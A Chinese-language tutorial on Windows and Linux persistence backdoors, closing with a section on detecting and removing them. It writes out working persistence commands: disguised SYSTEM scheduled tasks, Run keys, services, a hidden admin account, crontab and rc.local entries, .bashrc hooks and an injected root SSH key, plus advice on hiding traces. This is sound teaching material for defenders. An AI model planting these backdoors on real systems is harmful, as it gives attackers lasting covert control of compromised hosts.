权限维持实战:Windows 与 Linux 后门

Windows 与 Linux 权限维持(后门)方法:计划任务、注册表、启动项、WMI 事件、SSH Key、systemd、LD_PRELOAD,以及检测与清理。

写在前面:合法学习边界

权限维持只允许在授权靶场进行。在真实系统留后门可能触犯法律。本文攻防视角,重点也在“如何发现与清理”。

一、原理

渗透拿下主机后,为避免“重连一次就丢”,会做权限维持(持久化):把后门藏进系统自启动机制,让它在重启/登录后仍能复活。

1
核心思路:借系统“自动运行”的机制藏后门

二、Windows 权限维持

计划任务

1
2
schtasks /create /tn "svchost" /tr "C:\tmp\x.exe" /sc onstart /ru SYSTEM
:: 解释:创建开机自启任务,伪装成系统服务名,以 SYSTEM 运行

注册表 Run 键

1
2
3
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v up /d "C:\tmp\x.exe"
:: 解释:写注册表 Run 键,用户登录时自动运行
# 或 HKLM\...\Run 对所有用户生效

服务

1
2
sc create "Upd" binPath= "C:\tmp\x.exe" start= auto
sc start Upd

启动文件夹

1
2
shell:startup 目录放快捷方式/可执行文件
用户登录即运行

WMI 事件订阅

1
2
WMI 事件(如开机/定时)触发执行
隐蔽性强,常规检查难发现

其他

1
2
3
后门账户:net user hack P@ss /add && 加管理员
黄金票据:伪造 krbtgt 持久访问域
C2 服务:把 Beacon/MSF 包成服务

三、Linux 权限维持

crontab

1
2
(crontab -l; echo "*/5 * * * * /tmp/x.sh")|crontab -
# 解释:先读现有 crontab,追加一条每 5 分钟执行的命令再写回(避免覆盖原任务)

rc.local / systemd

1
2
3
echo '/tmp/x.sh &' >> /etc/rc.local
# 解释:追加到开机脚本,系统启动即运行
# 或写 systemd service 开机启动

用户登录脚本

1
2
echo '/tmp/x.sh &' >> ~/.bashrc
# 解释:用户每次开终端都会执行,适合常见用户后门

SSH 后门

1
2
echo 'ssh-rsa AAAA...  >> /root/.ssh/authorized_keys
# 解释:写入公钥后,攻击者可用对应私钥免密登录,非常隐蔽

LD_PRELOAD / PAM

1
2
LD_PRELOAD 劫持库
PAM 后门记录/接受指定密码

影响与危害

权限维持若被滥用:

1
2
3
失陷主机被长期控制
后门绕过杀软与人工排查
持续窃取数据、横向移动

风险等级:高。防守难点在于后门藏进正常自启动机制,难发现。

权限维持操作步骤

1
2
3
4
5
第 1 步:根据系统选持久化方式(Windows 计划任务/注册表;Linux crontab/SSH Key)
第 2 步:先测一次是否能触发(重启/登录/定时)
第 3 步:隐藏痕迹(伪服务名、隐蔽路径、去特殊字符)
第 4 步:结合 C2/后门做成“自动回连 + 自恢复”
第 5 步:记录后门位置,便于后续清理

四、检测与清理

Windows

1
2
3
4
计划任务审计、启动项(Autoruns)检查
服务、注册表 Run、WMI 事件订阅排查
后门账户(net user / 克隆账户)检查
EDR 对异常自启动行为告警

Linux

1
2
3
4
crontab -l、/etc/cron.* 检查
rc.local、systemd 服务审计
~/.bashrc、authorized_keys 检查
文件哈希比对、进程与网络连接排查

清理思路:

1
2
3
4
先取证,再断后门
删除计划任务/服务/注册表/脚本/密钥
杀进程、清持久化
修漏洞防止再次进入

五、小结

权限维持的本质是“利用系统自启动机制藏后门”。防守重点不是背后门列表,而是掌握主机的自启动/自运行面(计划任务、服务、启动项、登录脚本),定期审计。清理时先取证、再断链。